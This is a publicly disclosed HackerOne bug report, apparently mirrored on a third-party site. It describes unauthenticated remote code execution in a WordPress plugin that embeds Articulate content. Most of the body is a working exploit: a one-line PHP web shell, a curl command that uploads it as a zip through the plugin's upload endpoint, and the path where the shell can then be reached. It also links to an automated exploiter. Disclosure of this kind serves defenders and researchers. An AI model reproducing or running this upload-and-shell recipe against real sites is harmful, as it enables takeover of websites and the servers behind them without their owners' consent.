HexBrain

Nextcloud · Report #696198

WordPress Plugin Insert or Embed Articulate Content into WordPress Remote Code Execution (UNAUTHORIZED)

Informativestatus
lowseverity
2upvotes
11 Nov 2019disclosed

How it was found

because in the burp suite, the build request is complicated, I only use curl

  1. Create file index.html and index.php

Index.html :

<html> Hello world </html>

Index.php :

<?php system($_GET[cmd]); ?>
  1. Once created enter into .zip (COMPRESS)
  2.  LETS UPLOAD CURL : curl site.com/index.php/wp-json/articulate/v1/upload-data -F "name={NAMAFILE}" -F "chunk={RANDOM}" -F "chunks={RANDOM}" -F "[email protected]"
  3. OK HERE, THERE IS A READING UPLOAD COMPLETE which means success we try access to site.com/PATH/ <PATH = PATH AT RESULT EX: site.com/wp-content/uploads/articulate_uploads/kntl17/index.php

For the autoxploiter https://pastebin.com/BEy5iDLA

Impact

Remote code execution

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original